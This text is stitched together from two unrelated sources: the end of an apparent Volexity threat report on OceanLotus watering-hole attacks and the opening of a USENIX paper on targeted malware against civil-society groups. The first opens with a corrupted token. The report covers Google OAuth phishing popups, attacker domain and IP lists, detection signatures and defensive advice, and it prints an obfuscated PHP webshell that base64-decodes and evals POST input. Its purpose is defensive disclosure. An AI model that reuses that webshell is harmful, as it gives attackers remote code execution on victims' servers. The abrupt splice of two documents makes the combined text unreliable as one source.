timestamp59ba12f2eb1e240cd9431624codertps164c6e32b951adc4f3d5661dba2330141 This returns a JSON config like the following: These are saved and accessed via a getConfigs() function for different actions the script can perform. Ultimately, the script presents a popup over the site saying the content is blocked and requests 12/20 that the visitor sign in to continue. The code below presents this page and tracks progress using the postShow() and postDown() functions, which send GET requests using the URLs shown above. When one of the buttons is clicked, the user is redirected to login to the application. Whitelisted Targeting for Google Account Access Volexity was able to work with organizations on the OceanLotus whitelist that received special responses from Framework B. As a result, Volexity was able to directly observe two different OceanLotus attacks that attempted to fool the targeted user into providing access to their Google Accounts. OceanLotus attempts to compromise Google Accounts by prompting the user with a popup directing them to provide OAuth authorizations to a malicious Google App. Once a user has been flagged for targeting, they will receive a popup when accessing an OceanLotus compromised website once every 24 hours. This popup slowly fades in over top of the legitimate website and appears quite legitimate. Screen shots of two different observed popups are shown below. Version 1: Locked Content 13/20 Version 2: Chrome Sign In Regardless of which option the user clicks, they are redirected to Google to initiate OAuth access to one of OceanLotus Google Apps. Below is a screen shot of what a user would see prior to authorizing the the nefarious Google App. 14/20 OceanLotus Google App OAuth If the targeted user chooses ALLOW, the OceanLotus Google App immediately logs into the account and starts accessing it. The account has permissions to access all e-mail and contacts, which is all the access OceanLotus needs to conduct digital surveillance. Volexity strongly recommends that anyone that thinks they may have been targeted with this campaign or similar attacks review the Defense Against Ocean Lotus section below. OceanLotus is also known to be distributing malware in the form of fake Internet Explorer, Chrome, and Firefox updates. Volexity has observed similar attacks via spear phishing against targeted organizations that leverage some of the same malware infrastructure. In these cases, the following Amazon S3 buckets were used to distribute the malware through JavaScript as part of OceanLotus Framework B or direct links from spear phishing campaigns. 15/20 dload01.s3.amazonaws.com download-attachments.s3.amazonaws.com Volexity has observed multiple custom malware families and Cobalt Strike delivered through these campaigns. Details on the observed malware samples are forthcoming. Victim Websites Backdoored Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems. This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access. Initial Compromise Volexity has observed OceanLotus compromising sites one of two ways: 1. Direct user account access to the websites content management system (CMS) 2. Exploitation of outdated plugins and/or CMS components It is currently unknown how the intruders gain working credentials to the victim websites. Based on the TTPs leveraged by OceanLotus, it is possible that credentials could have been socially engineered (phished) from the victims or that the system administrators have been backdoored and a keylogger has assisted in capturing the login credentials. Alternatively, it is possible that some of the credentials were simply guessed. Several of the Vietnamese websites are running on Googles Blogspot platform, so it is reasonable to believe that those users Google accounts may be compromised. In the case of exploitation, the CMS software used by the victim organizations was often woefully out of date. Both the core components and added plugins had remotely exploitable vulnerabilities that lead to compromise. Persistent Access In all examined cases, OceanLotus attackers added PHP webshells to the victim websites. In most cases, the intruders added a new file that was designed to blend in with the web directory in which it was placed. In some cases, Volexity observed OceanLotus adding PHP code to an existing legitimate file already on the webserver. if(_POST[variable-1]md5(md5(_POST[variable-2]))md5 hash) x\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65eval(x(_POST[variable- 1]))exit() The hex code storage in x translates to base64_decode. This code checks to see if variable-1 is set and then validates whether the MD5 of the MD5 of the value set for variable-2 matches an expected MD5 hash. If these both evaluate as true, the contents of variable-1 are base64 decoded and evaluated on the system. This is a simple webshell that, similar to a China Chopper shell, allows direct execution on the system under the privileges of the account running the webserver. The OceanLotus intruders use these shells to interact with the system and update their JavaScript code on the various websites. 16/20 OceanLotus also appears to have a potentially automated process that periodically checks if the webshells are still present on the victim systems. Campaign Infrastructure Volexity has identified a vast and sprawling amount of infrastructure leveraged by OceanLotus as a part of this strategic web compromise campaign. There are even more indicators associated with various malware campaigns that Volexity will detail in another OceanLotus post to follow. OceanLotuss attack infrastructure has several unique characteristics, which makes it easy to identify if a particular system is under their control. As a result, Volexity was able to identify numerous systems that were not directly observed in active attacks but are strongly believed to be tied to OceanLotus. In the sections below, the infrastructure has been separated into active and inactive/unknown categories. If the infrastructure is listed as active, this means that Volexity has directly observed the hostnames use in an attack. If the infrastructure is listed as inactive/unknown, this means that Volexity found evidence the hostname was used in a past attack but is no longer in use or it has never been observed in a direct attack but has unique characteristics indicative of OceanLotus infrastructure. Active Hostname IPv4 Address IPv6 Address a.doulbeclick.org 45.76.147.201 2001:19f0:4400:48ea:5400:ff:fe71:3201 ad.adthis.org 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 ad.jqueryclick.com 64.62.174.146 N/A api.querycore.com 64.62.174.41 N/A browser- extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com 79.143.87.174 N/A cdn-js.com 128.199.227.80 N/A cdn.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 cdn.disqusapi.com 45.76.179.28 2001:19f0:4400:4989:5400:ff:fe71:3204 cloudflare-api.com 45.32.105.45 NA cory.ns.webjzcnd.com 139.59.223.191 NA googlescripts.com 45.114.117.164 NA health-ray-id.com 138.197.236.215 2604:a880:2:d0::378c:e001 hit.asmung.net 45.32.114.49 NA jquery.google-script.org 45.32.105.45 NA js.ecommer.org 45.76.179.151 2001:19f0:4400:48fd:5400:ff:fe71:3202 s.jscore-group.com 64.62.174.17 NA 17/20 s1.gridsumcontent.com 103.28.44.112 NA s1.jqueryclick.com 64.62.174.145 NA ssl.security.akamaihd-d.com 37.59.198.131 NA stat.cdnanalytic.com 203.114.75.22 NA stats.widgetapi.com 64.62.174.99 NA track-google.com 203.114.75.73 NA update.security.akamaihd-d.com 89.33.64.207 N/A update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 wiget.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 www.googleuserscontent.org 139.59.217.207 2400:6180:0:d0::4315:7001 Inactive/Unknown Status Volexity was able to identify a substantial amount of infrastructure that belongs to OceanLotus that is setup in a manner consistent with the above hostnames. However, Volexity has not directly observed attacks leveraging these hostnames. Hostname IPv4 Address IPv6 Address ad.linksys-analytic.com 64.62.174.16 N?A ads.alternativeads.net 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 api.2nd-weibo.com 64.62.174.146 N/A api.analyticsearch.org 64.62.174.41 N/A api.baiduusercontent.com 79.143.87.174 N/A api.disquscore.com 128.199.227.80 N/A api.fbconnect.net sinkholed N/A cache.akamaihd-d.com 89.33.64.232 N/A cloud.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 core.alternativeads.net 139.59.220.12 2400:6180:0:d0::4315:9001 d3.advertisingbaidu.com 139.59.223.191 NA eclick.analyticsearch.org 64.62.174.21 N/A google-js.net 45.32.105.45 NA google-js.org 45.32.105.45 NA google-script.net 45.32.105.45 N/A gs.baidustats.com 103.28.44.115 NA 18/20 linked.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 linksys-analytic.com 64.62.174.17 NA live.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 static.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 stats.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 update.akamaihd-d.com 37.59.198.130 NA update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 upgrade.liveupdateplugins.com 128.199.90.216 2400:6180:0:d0::4315:c001 widget.jscore-group.com 64.62.174.9 NA Defending Against OceanLotus While the described attack campaign relies on fooling a user, the popups on the websites are quite convincing and legitimate looking. As a result, Volexity would recommend immediately putting in blocks or sinkholes for the domains and IP addresses listed above to prevent profiling and possible exploitation. The observed attacks thus far have relied on social engineering campaigns however, it would be trivial for OceanLotus to introduce an exploit into this chain. As for malware indicators, Volexity will be providing additional data related to malware and backdoor infrastructure in a future write-up to follow soon. When it comes to Google accounts, Volexity would recommend that users enable the 2-Step Authentication. This is an effective way to prevent access to a Google account should the password be compromised. However, in the case of this OceanLotus campaign, the attackers are leveraging a Google App that has OAuth authorized access to the victims e-mail and contacts. This effectively bypasses 2-Step authentication as a result. Users should be very careful to only authorize legitimate and known Google Apps. Users can verify what Google Apps have access to their account by visiting the following URL: https://myaccount.google.com/u/1/permissions This will list the Google Apps with access to the account along with their permission levels. It is possible to defend against unauthorized applications and increase a Google Accounts security through the Google Advanced Protection Program as well Users can further verify what Google Apps and devices are accessing their account via the following steps: Log into Gmail from a web browser via https://mail.google.com Scroll to the bottom of the page and click Details to see a list of recent accesses to the account If any access stands out as coming from an unauthorized application or address, the guidance in 19/20 https://support.google.com/accounts/answer/185839 https://landing.google.com/advancedprotection/ the steps on the following page should be reviewed: https://support.google.com/mail/answer/7036019 Finally, for website administrators, the key recommendations are as follows: Use strong passwords for CMS and system authentication Restrict access to the system and CMS functionality as much as possible (limited users, ACLs, etc.) Implement two-factor (2FA) where possible Keep operating systems, CMS software, and CMS plugins up-to-date Disable or remove any accounts that are no longer needed or are unrecognized Network Signatures In addition to the domains and IP addresses, the following network signatures can be used to detect various OceanLotus profiling and targeting activity. alert http HOME_NET any - EXTERNAL_NET any (msg:Volex OceanLotus JavaScript Load (connect.js) flow:to_server,established content:GET http_method content:connect.js? timestamp http_uri sid:2017083001 ) alert http EXTERNAL_NET any - HOME_NET any (msg:Volex OceanLotus JavaScript Fake Page URL Builder Response flow:to_client,established file_datacontent:22link22:22http depth:13 file_data content:22load22 sid:2017083002 rev:1) alert http EXTERNAL_NET any - HOME_NET any (msg:Volex OceanLotus System Profiling JavaScript (linkStorage.x00SOCKET) flow:to_client,established file_data content:linkStorage.x00SOCKET sid:2017083003) Conclusion Volexity believes the OceanLotus threat group has rapidly advanced its capabilities and is now one of the more sophisticated APT actors currently in operation. While Volexity does not typically engage in attempting attribution of any threat actor, Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam. This is largely due to the extreme and wide-scale nature of certain targeting that would be extremely unlikely to align with the interests of those outside of Vietnam. As a result, Volexity believes that OceanLotus has been rapidly developing a highly skilled and organized computer network exploitation (CNE) capability. 20/20 OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society Compromised Sites Vietnam ASEAN Cambodia China Laos Philippines JavaScript Tracking, Profiling, and Delivery Frameworks Framework A Framework B Whitelisted Targeting for Google Account Access Victim Websites Backdoored Initial Compromise Persistent Access Campaign Infrastructure Active Inactive/Unknown Status Defending Against OceanLotus Network Signatures Conclusion This paper is included in the Proceedings of the 23rd USENIX Security Symposium. August 2022, 2014 San Diego, CA ISBN 978-1-931971-15-7 Open access to the Proceedings of the 23rd USENIX Security Symposium is sponsored by USENIX Targeted Threat Index: Characterizing and Quantifying Politically-Motivated Targeted Malware Seth Hardy, Masashi Crete-Nishihata, Katharine Kleemola, Adam Senft, Byron Sonne, and Greg Wiseman, The Citizen Lab Phillipa Gill, Stony Brook University Ronald J. Deibert, The Citizen Lab https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/hardy USENIX Association 23rd USENIX Security Symposium 527 Targeted Threat Index: Characterizing and Quantifying Politically-Motivated Targeted Malware Seth Hardy Masashi Crete-Nishihata Katharine Kleemola Adam Senft Byron Sonne Greg Wiseman Phillipa Gill Ronald J. Deibert The Citizen Lab, Munk School of Global Affairs, University of Toronto, Canada Stony Brook University, Stony Brook, USA Abstract Targeted attacks on civil society and non-governmental organizations have gone underreported despite the fact that these organizations have been shown to be frequent targets of these attacks. In this paper, we shed light on targeted malware attacks faced by these organizations by studying malicious e-mails received by 10 civil society organizations (the majority of which are from groups re- lated to China and Tibet issues) over a period of 4 years. Our study highlights important properties of malware threats faced by these organizations with implications on how these organizations defend themselves and how we quantify these threats. We find that the technical sophis- tication of malware we observe is fairly low, with more effort placed on socially engineering the e-mail con- tent. Based on this observation, we develop the Targeted Threat Index (TTI), a metric which incorporates both so- cial engineering and technical sophistication when as- sessing the risk of malware threats. We demonstrate that this metric is more effective than simple technical sophis- tication for identifying malware threats with the high- est potential to successfully compromise victims. We also discuss how education efforts focused on changing user behaviour can help prevent compromise. For two of the three Tibetan groups in our study simple steps such as avoiding the use of email attachments could cut document-based malware threats delivered through e-mail that we observed by up to 95. 1 Introduction Civil society organizations (CSOs), working on hu- man rights issues around the globe, face a spectrum of politically-motivated information security threats that seek to deny (e.g. Internet filtering, denial-of-service at- tacks), manipulate (e.g. website defacements) or moni- tor (e.g. targeted malware) information related to their work. Targeted malware attacks in particular are an in- creasing problem for CSOs. These attacks are not iso- lated incidents, but waves of attacks organized in cam- paigns that persistently attempt to compromise systems and gain access to networks over long periods of time while remaining undetected. These campaigns are cus- tom designed for specific targets and are conducted by highly motivated attackers. The objective of these cam- paigns is to extract information from compromised sys- tems and monitor user activity and is best understood as a form of espionage. CSOs can be particularly suscep- tible to these threats due to limited resources and lack of security awareness. Targeted malware is an active re- search area, particularly in private industry. However, focused studies on targeted attacks against CSOs are rel- atively limited despite the persistent threats they face and the vulnerability of these groups. In this study, we work with 10 CSOs for a period of 4 years to characterize and track targeted malware cam- paigns against these groups. With the exception of two groups that work on human rights in multiple countries, the remaining eight groups focus on China and Tibet- related human rights issues. We focus on targeted mal- ware typically delivered via e-mail that is specifically tai- lored to these groups as opposed to conventional spam which has been well characterized in numerous previous works [27, 42, 45, 52, 70, 71]. We consider the threats to these groups along two axes: the technical sophistica- tion of the malware as well as sophistication of the so- cial engineering used to deliver the malicious payload. We combine these two metrics to form an overall threat ranking that we call the Targeted Threat Index (TTI). While other scoring systems exist for characterizing the level of severity and danger of a technical vulnerabil- ity [7, 17, 41, 50], no common system exists for ranking the sophistication of targeted e-mail attacks. TTI allows us to gain insights into the relative sophistication of so- cial engineering and malware leveraged against CSOs. A key to the success of our study is a unique method- ology, combining qualitative and technical analysis of 528 23rd USENIX Security Symposium USENIX Association e-mails and their attachments with fieldwork (e.g. site visits) and interviews with affected CSOs. This method- ology, which we describe in more detail in Section 3, al- lows us to both accurately rate the level of targeting of e- mail messages by interfacing with CSOs participating in our study (Section 4.2), and understand the relative tech- nical sophistication of different malware families used in the attacks (Section 4.3). By combining the strengths of our qualitative and quantitative analysis, we are able to accurately understand trends in terms of social engineer- ing and technical sophistication of politically-motivated targeted malware threats faced by CSOs. Our study makes the following observations, which have implications for security strategies that CSOs can employ to protect themselves from targeted malware: Attachments are the primary vector for email based targeted malware. More than 80 of malware deliv- ered to Tibet-related organizations in our study and sub- mitted to us is contained in an e-mail attachment. Fur- ther, for 2 of the 3 Tibetan organizations in our study (with at least 40 submitted e-mails), simply not opening attachments would mitigate more than 95 of targeted malware threats that use email as a vector. Targeted malware technical sophistication is low. So- cial engineering sophistication is high We find that the technical sophistication of targeted malware deliv- ered to CSOs in our study is relatively low (e.g., rela- tive to commercial malware that has been found targeting CSOs and journalists [35,36,38] and conventional finan- cially motivated malware), with much more effort given to socially engineering messages to mislead users. This finding highlights the potential for education efforts fo- cused on changing user behaviours rather than high-cost technical security solutions to help protect CSOs. CSOs face persistent and highly motivated actors. For numerous malware samples in our study we ob- serve several versions of the software appearing over the course of our four year study. These multiple ver- sions show evidence of technical improvements to com- plement existing social engineering techniques. Since the start of our study we have participated in a series of workshops with the participating Tibetan or- ganizations to translate these results into a training cur- riculum. Specifically, we have educated them about how to identify suspicious e-mail headers to identify spoofed senders and demonstrated tools that can be used to check e-mailed links for malware and drive-by-downloads. The rest of the paper is structured as follows. Sec- tion 2 presents relevant background on targeted malware and attacks on CSOs. Our data collection methodology is described in Section 3. We describe our targeting and technical sophistication metrics as well as how we com- bine them to produce the Targeted Threat Index (TTI) in Section 4. Training and outreach implications of our work are discussed in Section 5. We present related work in Section 6 and conclude in Section 7. 2 Background 2.1 Targeted Malware Overview Targeted malware are a category of attacks that are dis- tinct from common spam, phishing, and financially mo- tivated malware. Spam and mass phishing attacks are indiscriminate in the selection of targets and are directed to the largest number of users possible. Similarly, finan- cially motivated malware such as banking trojans seek to compromise as many users as possible to maximize the potential profits that can be made. The social engi- neering tactics and themes used by these kinds of attacks are generic and the attack vectors are sent in high vol- umes. By contrast targeted malware attacks are designed for specific targets, sent in lower volumes, and are moti- vated by the objective of stealing specific sensitive data from a target. Targeted malware attacks typically involve the follow- ing stages [24, 66]: Reconnaissance: During this stage attackers conduct research on targets including profiling systems, software, and information security defenses used to identify possi- ble vulnerabilities and contextual information on person- nel and activities to aid social engineering. Delivery: During this stage a vector for delivering the attack is selected. Common vectors include e-mails with malicious documents or links, or contacting targets through instant messaging services and using social en- gineering to send malware to them. Typically, a target of such an attack receives an e-mail, possibly appearing to be from someone they know, containing text that urges the user to open an attached document (or visit a web- site). Compromise: During this stage malicious code is exe- cuted on a target machine typically after a user initiated action such as opening a malicious document or link. Command and Control: During this stage the infected host system establishes a communications channel to a command and control (CC) server operated by the at- tackers. Once this channel has been established the at- tackers can issue commands and download further mal- ware on to the system Additional attacker actions: After a successful com- promise is established, attackers can conduct a number of actions including ex-filtrating data from the infected host and transmitting it back to attackers through a process of encrypting, compressing, and transferring to a server 2 USENIX Association 23rd USENIX Security Symposium 529 operated by the attackers. Attackers may also use pe- ripherals such as webcams and microphones to monitor users in real time. The infected host may also serve as a starting point to infect other machines on the network and seek out specific information or credentials. 2.2 Targeted Malware and CSOs Targeted malware has become recognized by govern- ments and businesses around the world as a serious po- litical and corporate espionage threat. The United States government has been particularly vocal on the threat tar- geted malware enabled espionage poses. General Keith Alexander, current Director of the National Security Agency and Commander of United States Cyber Com- mand has stated that the theft of US intellectual property through cyber espionage constitutes the greatest transfer of wealth in history [47]. Recent widely publicized tar- geted malware intrusions against Google, RSA, the New York Times and other high profile targets have raised public awareness around these attacks [20, 44, 48] Despite this increased attention, targeted malware is not a new problem, with over a decade of public reports on these kinds of attacks [66]. However, the majority of research on targeted malware is conducted by private security companies who typically focus on campaigns against industry and government entities. As a result, tar- geted attacks on civil society and non-governmental or- ganizations have gone underreported despite the fact that these organizations have been shown to be frequently targeted by cyber espionage campaigns. In particular, communities related to ethnic minority groups in China including Tibetans, Uyghurs, and religious groups such as Falun Gong have been frequent targets of cyber es- pionage campaigns with reports dating back to at least 2002 [61]. In some cases, the same actors have been revealed to be targeting civil society groups, government and indus- try entities. A notable example of this was the 2009 re- port by the Citizen Lab, a research group at the Univer- sity of Toronto, which uncovered the GhostNet cyber espionage network. GhostNet successfully compromised prominent organizations in the Tibetan community in ad- dition to 1,295 hosts in 103 countries, including min- istries of foreign affairs, embassies, international organi- zations, and news media [25]. The GhostNet case is not an isolated example, as other reports have shown CSOs (commonly Tibetan organizations) included as targets in campaigns that are also directed to a range of govern- ment and industry entities [8,26,28,29,5456] Some of these reports include technical details on the CSO spe- cific attacks [26, 28, 54, 55] while others note them as a target but do not address in detail [8, 29, 56]. While the majority of documented targeted malware campaigns against CSOs involve China and Tibet-related groups and potentially China-related attack operators [911, 23, 25, 26, 32, 6165, 67, 68] , these kinds of at- tacks go beyond China. Recent research and news media have reported attacks against large human rights groups focused on multiple issues and countries [31, 46], and communities related to Syria [18] and Iran [37]. Re- searchers have also uncovered the use of commercial network intrusion products used to target activists from Bahrain [38], the United Arab Emirates [36], and jour- nalists from Ethiopia [35]. 3 Data collection Since our study involves dealing with e-mail messages which may contain personally identifiable information (PII) and collection of information from CSOs who need to maintain privacy of their data, we consulted with our institutional research ethics board during the design of our study. The methods described below have been sub- mitted to and approved by this board. 3.1 Study Participants We recruited participants via three main channels: (1) an open call on our Web site, (2) outreach to organi- zations we had prior relationship with and (3) referrals from participating groups. As part of the study these groups agreed to share technical data (e.g., e-mails with suspicious attachments) and participate in interviews at the onset and end of the study. Their identity and any PII shared with us were kept strictly confidential. For the purposes of our study, we focused on organiza- tions with missions concerning the promotion or protec- tion of human rights. For purposes of this study, human rights means any or all of the rights enumerated under the Universal Declaration of Human Rights [60], the In- ternational Covenant on Civil and Political Rights [58], and the International Covenant on Economic, Social and Cultural Rights [59]. We also considered organizations on a case by case basis that have a mission that does not directly implicate human rights, but who may nonethe- less be targeted by politically motivated digital attacks because of work related to human rights issues (e.g., me- dia organizations that report on human rights violations). In total, 10 organizations participated in the study (summarized in Table 1). The majority of these groups work on China-related rights issues and five of these or- ganizations focus specifically on Tibetan rights. The high rate of participation from China and Tibet-related human rights issues is due in part to our previous relationships with these communities and a significant interest and en- thusiasm expressed by the groups. In addition to the China and Tibet-related groups, our study also includes 3 530 23rd USENIX Security Symposium USENIX Association two groups, Rights Group 1 and 2 that work on multiple human rights related issues in various countries. The majority of organizations operate from small of- fices with less than 20 employees. Some organizations (China Group 2, Tibet Group 2) have no physical office and consist of small virtual teams collaborating remotely, often from home offices. Of these groups only two (China Group 1, China Group 3) have a dedicated system administrator on staff. Other groups (Tibet Groups 1-5 China Group 2) rely on volunteers or staff with related technical skills (e.g. Web development) to provide tech- nical support. Rights Group 1 and Rights Group 2 are much larger organizations relative to the others in our sample. Both organizations have over 100 employees, multiple offices, dedicated IT teams, and enterprise level computing infrastructures. 3.2 Data Sources We collect the following pieces of information from the participant groups in order to understand the malware threats they face: User-submitted e-mail messages. Our primary data source is a collection of e-mails identified by participants as suspicious which were forwarded to a dedicated e- mail server administered by our research team. When available these submissions included full headers, file attachments and / or links. There are three key limita- tions to relying on user-submitted e-mails for our anal- ysis. First, we are only able to study e-mails identified by participants as suspicious, which may bias our re- sults to only reporting threats that have been flagged by users. Further, individuals may forget to forward e-mails in some cases. Relying on self-reporting also creates bias between groups as individuals at different organizations may have different thresholds for reporting, which cre- ates difficulties in accurately comparing submission rates between groups. Thus the amount of threat behaviour we see should be considered a lower bound on what oc- curs in practice. Second, having participants forward us e-mails does not allow us to verify if the targeted organi- zation was successfully compromised by the attack (e.g., if another member of the organization open and executed malware on their machine) and what the scope of the at- tack was. Finally, e-mail is only one vector that may be used to target organizations. Other vectors include water- hole attacks [21], denial of service attacks, or any other vectors (e.g., physical threats like infected USB sticks). These limitations mean that it is possible that we did not comprehensively observe all attacks experienced by our study groups and some more advanced attacks may have gone unreported. Recognizing the limitations of e-mail submissions, we complement user submitted emails with data from Net- Table 2: Breakdown of e-mails submitted per group. Organization Code of e-mails China Group 1 53 China Group 2 18 China Group 3 58 Rights Group 1 28 Rights Group 2 2 Tibet Group 1 365 Tibet Group 2 177 Tibet Group 3 2 Tibet Group 4 97 Tibet Group 5 4 work Intrusion Detection System (NIDS) alerts, web- site monitoring, and interviews. Also, upon request of study groups who were concerned of possible infection we analyzed packet capture data from suspect machines. Through the course of this supplementary analysis we did not find indications of malware compromise that used samples that were not included in our pool of user- submitted emails. In this paper we focus on reporting results from analyzing the user submitted emails through the TTI. The NIDS and website monitoring components were added later in our study and do not significantly contribute to TTI analysis. 1 3.3 Overview of User-Submitted E-mails The e-mails examined in this study span over four years, from October 14, 2009 to December 31, 2013. Data col- lection began on November 28, 2011, but China Group 3 and Tibet Group 1 forwarded us their pre-existing archives of suspicious emails, resulting in e-mail sam- ples dating back to October 14, 2009. In total, we re- ceived 817 e-mails from the 10 groups participating in our study. Table 2 breaks down the submissions from each groups and illustrates that submissions were highly non-uniform across the groups. Thus, in general, we fo- cus on the groups with at least 50 e-mail submissions for our analysis. Figure 1 shows the cumulative number of e-mail sub- missions per month over the course of the study. For example, China Group 3 shared a set of e-mails received in 2010 by a highly targeted member of the organization, which can be observed in Figure 1. Tibet Group 1 ac- counts for the highest number of submissions relative to the other groups due to being one of the first groups in the study and being persistently targeted by politically motivated malware. Tibetan Groups 2 and 4, who joined the study later (in April 2012) show a similar submission rate to original Tibetan Group 1, suggesting these groups are targeted at a similar rate. In Section 4.2, we investi- 4 USENIX Association 23rd USENIX Security Symposium 531 Table 1: Summary of groups participating in our study. Organization Code Description Organization size China Group 1 Human rights organization focused on rights and social justice issues related to China Small (1-20 employees) China Group 2 Independent news organization reporting on China Small (1-20 employees) China Group 3 Human rights organization focused on rights and social justice issues related to China Small (1-20 employees) Rights Group 1 Human rights organization focused on multiple issues and countries Large (over 100 employees) Rights Group 2 Human rights organization focused on multiple issues and countries Large (over 100 employees) Tibet Group 1 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 2 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 3 Independent news organization reporting on Tibet Small (1-20 employees) Tibet Group 4 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 5 Human rights organization focused on Tibet Small (1-20 employees) 0 50 100 150 200 250 300 350 400 Sep-09 Sep-10 Sep-11 Sep-12 Sep-13 C um ul at iv e su bm iss io ns o ve r tim e Month China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 1: Cumulative number of messages per group over the course of our study for groups that submitted at least 50 e-mail messages. gate commonalities in targeting of these groups. We further classify e-mails as malicious if they include attached malware, a direct link to malware or a site with a drive-by download, or a link to a phishing page. Fig- ure 2 shows the amount of e-mails of each type for the groups that submitted at least 25 e-mails to our system. The most common approach employed in these e-mails was attaching a malicious payload to the e-mail itself. However, we notice a higher rate of phishing attacks on the China-related groups and the rights groups working on multiple international human rights issues. In partic- ular, 46 of the e-mails submitted by China Group 1, and 50 of the e-mails submitted by Rights Group 1, di- rect the user to a phishing Web site. In the case of China Group 1, this large proportion of phishing sites is ob- served because this group configured their spam filter to forward e-mails to our system, resulting in us receiving a large number of generic, non-targeted spam. In con- trast, the phishing observed for Rights Group 1, while low in volume (13 out of 26 messages) is targeted. We delve more into how we rate the targeting of e-mails in Section 4.2. The rate of submissions to our project meant that it 0 0.2 0.4 0.6 0.8 1 China 1 China 3 Rights 1 Tibet 1 Tibet 2 Tibet 4 Fr ac tio n of e -m ai l s ub m iss io ns Group Link to malware Link to phishing page Malware attachment Figure 2: Breakdown of malicious e-mails based on whether they deliver malware as an attachment, refer the use to a link with a malicious file, or attempt to phish data from the user. was feasible to manually analyze e-mail attachments for malware as they were submitted. This analysis gives us higher confidence in our results because AV signatures are frequently unable to detect new or modified threats, and can overlook the presence of a malicious payload that can be easily identified upon manual inspection (e.g. shellcode in an RTF exploit). In total, we analyzed 3,617 payload files and found 2,814 (78) of them to be ma- licious. Section 4.3 describes our analysis methodology in more detail. 4 Targeted Threat Index Our dataset includes a wide range of targeted malware threats varying in level of both social engineering and technical complexity. This range presents a challenge in ranking the relative sophistication of the malware and targeting tactics used by attackers. While scoring systems such as the Common Vulnera- bility Scoring System [17] exist for the purpose of com- municating the level of severity and danger of a vul- nerability, there is no standardized system for ranking 5 532 23rd USENIX Security Symposium USENIX Association the sophistication of targeted email attacks. This gap is likely because evaluating the sophistication of the target- ing is non-technical, and cannot be automated due to the requirement of a strong familiarity with the underlying subject material. To address this gap we developed the Targeted Threat Index (TTI) to assign a ranking score to the targeted ma- licious emails in our dataset. The TTI score is intended for use in prioritizing the analysis of incoming threats, as well as for getting an overall idea of how severely an organization is threatened. The TTI score is calculated by taking a base value de- termined by the sophistication of the targeting method, which is then multiplied by a value for the technical sophistication of the malware. The base score can be used independently to compare emails, and the combined score gives an indication of the level of effort an attacker has put into individual threats. 4.1 TTI Metric The TTI score is calculated in two parts: (Social Engineering Sophistication Base Value) (Technical Sophistication Multiplier) TTI Score TTI scores range from 1 to 10, where 10 is the most sophisticated attack. Scores of 0 are reserved for threats that are not targeted, even if they are malicious. For example, spam using an attached PDF or XLS to by- pass anti-spam filters, and highly sophisticated finan- cially motivated malware, would both score 0. This section overviews how we compute the Social Engineering Sophistication Base Value (Section 4.2) and the Technical Sophistication Multiplier (Section 4.3). In Section 4.4, we present the results of computing and an- alyzing the TTI value of threats observed by the organi- zations in our study. We also discuss implications and limitations of the metric. 4.2 Social Engineering Tactics We leverage a manual coding approach to measure the sophistication of social engineering tactics used in the at- tacks observed by the organizations in our study. While automated approaches may be explored in the future, this manual analysis allows us to have high confidence in our results, especially since understanding the social engi- neering often required contextual information provided by the organizations in our study. To quantify the level of sophistication, we manually analyse the e-mail subject line, body, attachments and header fields. We perform an initial content analysis by coding the e-mails based on their semantic content, and then use these results to gen- erate a numerical metric quantifying the level of targeting used. 4.2.1 Content coding and analysis results We code the e-mails based on their subject line, body, at- tachments and headers using the following methodology: Subject line, body, and attachments. The content of the subject line, body and attachments for each submitted e-mail were content coded into 8 themes, each contain- ing categories for specific instances of the theme: Coun- try / Region (referring to a specific geographical country or region) Ethnic Groups (referring to a specific ethnic group) Event (referring to a specific event) Organiza- tions (referring to specific organizations) People (refer- ring to specific persons), Political (reference to specific political issues), Technology (reference to technical sup- port), Miscellaneous (content without clear context or categories that do not fall into one of the other themes). Table 3 summarizes the themes and provides examples of categories within each theme. E-mail headers. The header of each e-mail was an- alyzed to determine if the sending e-mail address was spoofed or the e-mail address was otherwise designed to appear to come from a real person and / or organiza- tion (e.g. by registering an e-mail account that resembles a person and / or organizations name from a free mail provider). We divide the results based on whether they attempted to spoof an organization or a specific person. Using this manual analysis, we perform a content anal- ysis of e-mails submitted by the organizations. Results of this analysis confirm that social engineering is an im- portant tool in the arsenal of adversaries who aim to de- liver targeted malware. Specifically, 95 and 97 of e-mails to Chinese and Tibetan groups, respectively, in- cluded reference to relevant regional issues. Spoofing of specific senders and organizations was also prevalent with 52 of e-mails to Tibetan groups designed to ap- pear to come from real organizations, often from within the Tibetan community. For example, a common tar- get of spoofing was the Central Tibetan Administration (CTA), referenced in 21 of the spoofed e-mails, which administers programs for Tibetan refugees living in In- dia and advocates for human rights in Tibet. While the number of e-mail submissions were lower for the gen- eral human rights groups, we observe similar trends there with 92 of e-mails submitted by Rights Group 1 ap- pearing to come from individuals in the group (as a result of spoofing). In some cases we even observed the same attackers targeting multiple CSOs with customized e-mail lures. For example, we tracked a campaign that targeted China Groups 1 and 2, and Tibet Group 1 with a remote access 6 USENIX Association 23rd USENIX Security Symposium 533 Table 3: Overview of themes and categories within the themes for grouping targeted e-mail messages. Theme Total Categories Example Categories Country/Region 26 China, US, European Union Ethnic Groups 2 Tibetan, Uyghur Event 31 self immolation, Communist Party of China, 18th National Party Congress Organizations 32 